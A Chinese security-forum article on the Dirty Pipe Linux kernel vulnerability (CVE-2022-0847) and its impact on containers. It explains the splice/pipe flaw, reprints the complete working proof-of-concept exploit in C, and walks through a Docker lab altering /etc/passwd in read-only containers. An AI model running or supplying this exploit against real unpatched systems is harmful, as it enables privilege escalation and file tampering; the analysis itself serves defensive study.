首页
社区
课程
招聘
[原创]CVE-2022-0847:脏管道漏洞对容器的影响
2022-6-30 10:58 10927

[原创]CVE-2022-0847:脏管道漏洞对容器的影响

2022-6-30 10:58
10927

漏洞简介

2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。

漏洞原理

漏洞简要原理是,调用splice() 函数可以通过"零拷贝"的形式将文件发送到pipe,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipebuf页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。网上已经有对该漏洞的详细分析,本文不在详细介绍其原理,只做一些简单介绍,具体的关于漏洞的发现细节以及原理可参考以下几篇文章:

漏洞披露:https://dirtypipe.cm4all.com/

CVE-2022-0847 Dirty Pipe linux内核提权分析:https://github.com/chenaotian/CVE-2022-0847

  • 管道

    该漏洞别名为脏管道漏洞,管道(pipe)是Linux内核提供的一个进程间通信的方式。 通过pipe/pipe2 函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段 。 管道实现的源代码在fs/pipe.c中,在pipe.c中有很多函数,其中有两个函数比较重要,管道读函数pipe_read()和管道写函数pipe_wrtie() ,这里简要介绍以下pipe_write()。

    Linux-5.13\fs\pipe.c : 400 : pipe_write()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    ...
    ...
    if (chars && !was_empty) {
            unsigned int mask = pipe->ring_size - 1;
            struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
            int offset = buf->offset + buf->len;
     
            if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) {
                /*关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);
                ···
                }
                buf->len += ret;
                ···
            }
        }
    ...

    在使用pipe_write()函数向管道中写入时,会判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记,如果不存在则不允许在当前页面续写, buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的 。

  • Splice()

    CPU管理的最小内存单位是一个页面(Page), 一个页面通常为4kB大小, linux内存管理的最底层的一切都是关于页面的, 文件IO也是如此, 如果程序从文件中读取数据, 内核将先把它从磁盘读取到专属于内核的页面缓存(Page Cache)中, 后续再把它从内核区域复制到用户程序的内存空间中;

    如果每一次都把文件数据从内核空间拷贝到用户空间, 将会拖慢系统的运行速度, 也会额外消耗很多内存空间, 所以出现了splice()系统调用, 它的任务是从文件中获取数据并写入管道中, 期间一个特殊的实现方式便是: 目标文件的页面缓存数据不会直接复制到Pipe的环形缓冲区内, 而是以索引的方式(即 内存页框地址、偏移量、长度 所表示的一块内存区域)复制到了pipe_buffer的结构体中, 如此就避免了从内核空间向用户空间的数据拷贝过程, 所以被称为”零拷贝”。

漏洞披露中给出了利用的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
 
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
 
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
 
    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
 
    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
 
    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}
 
int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
        return EXIT_FAILURE;
    }
 
    /* dumb command-line argument parser */
    const char *const path = argv[1];
    loff_t offset = strtoul(argv[2], NULL, 0);
    const char *const data = argv[3];
    const size_t data_size = strlen(data);
 
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }
 
    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }
 
    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
 
    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }
 
    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }
 
    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }
 
    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);
 
    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }
 
    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }
 
    printf("It worked!\n");
    return EXIT_SUCCESS;
}

从POC的角度可以看到漏洞利用的过程:

  1. 创建pipe;
  2. 使用任意数据填充管道(填满, 而且是填满Pipe的最大空间);
  3. 清空管道内数据;
  4. 使用splice()读取目标文件(只读)的1字节数据发送至pipe;
  5. write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容;

将该exp保存到本地编译,运行,可以成功触发。该漏洞 由linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复 ,处于中间阶段的内核版本可以触发该漏洞。触发必须要求文件有可读权限,且该漏洞写入时不能改变其文件大小。下图可以看到,在没有可写权限的情况下修改了testfile中的内容。 只要挑选合适的目标文件, 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升。

 

1655134920579.png

脏管道对Linux容器的影响

前段时间的一个帖子记录了对Docker镜像进行逆向的过程, 容器镜像基本上是由一组相互重叠的层组成的。当容器启动时,运行时引擎(Docker、containerD、cri-O 等)将这些层合并在一起,并将生成的联合文件系统传递给进程。这些层始终是只读的,任何在容器中的操作都是都是在读写层中完成的,该层是使用写时复制 (COW)模式专门为每个容器实例创建的。这个读写层是暂时的层,当把容器停止运行时,该层会容器系统中删除。 通过以只读模式( --read-only )启动容器可以省略读写层,从而有效地保护容器文件系统的完整性不会被攻击者破坏。

 

但是由于容器共享linux内核的缘故,容器并不能屏蔽内核漏洞,利用脏管道漏洞,可以几乎对任何文件系统进行修改,包括容器镜像。下面实验演示了如何利用脏管道漏洞对容器镜像的完整性进行破环。利用上述的exp,使用下列Dockerfile构建一个镜像,该镜像创建了一个非特权用户foo,并将exp复制到镜像中。

1
2
3
4
FROM debian:stable-slim
RUN adduser foo
USER foo
COPY exp /exp

Build 成功后的镜像

 

1655131410339.png

 

当使用只读模式启动容器时,是不能对容器的文件系统进行任何修改的,如下图。

 

1655208001911.png

 

接下来运行exp 对容器中的/etc/passwd尝试进行修改,默认情况下,该文件是只读的,且只有root用户有权限进行更改。

 

1655133334182.png

 

然后退出该容器,再根据该镜像重新启动一个容器,可以发现在重新启动的容器中的passwd文件也已经被更改,证明该镜像已经被持续的更改。但该更改并不是永久性的,短时间内的新建容器会出现这种情况。

 

1655176451937.png

 

在多个同一基础镜像容器同时启动的情况下,由于共享基础镜像,在某一容器中该漏洞的触发会波及到其他容器。下图演示了在其中一个只读容器中更改文件内容后,其他容器的文件系统也跟着发生了变化。

 

dirtypipe.gif

 

这就是容器的隔离性远不如虚拟机的地方,容器被称作为一种轻量级的操作系统虚拟化,多个容器与宿主据共享一个内核,这就导致了首先容器无法隔离宿主机出现的内核漏洞,一旦内核出了问题,很容器出现容器逃逸的情况;其次同一宿主机的容器之间的隔离性也不强,容器与容器之间很容器出现隐蔽通道、信息泄露的问题。

参考链接

漏洞披露:

 

​ https://dirtypipe.cm4all.com/

 

breeze漏洞分析

 

​ https://github.com/chenaotian/CVE-2022-0847

 

脏管道漏洞与容器

 

​ https://snyk.io/blog/dirty-pipe-vulnerability-cve-2022-0847-containerized-applications/


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回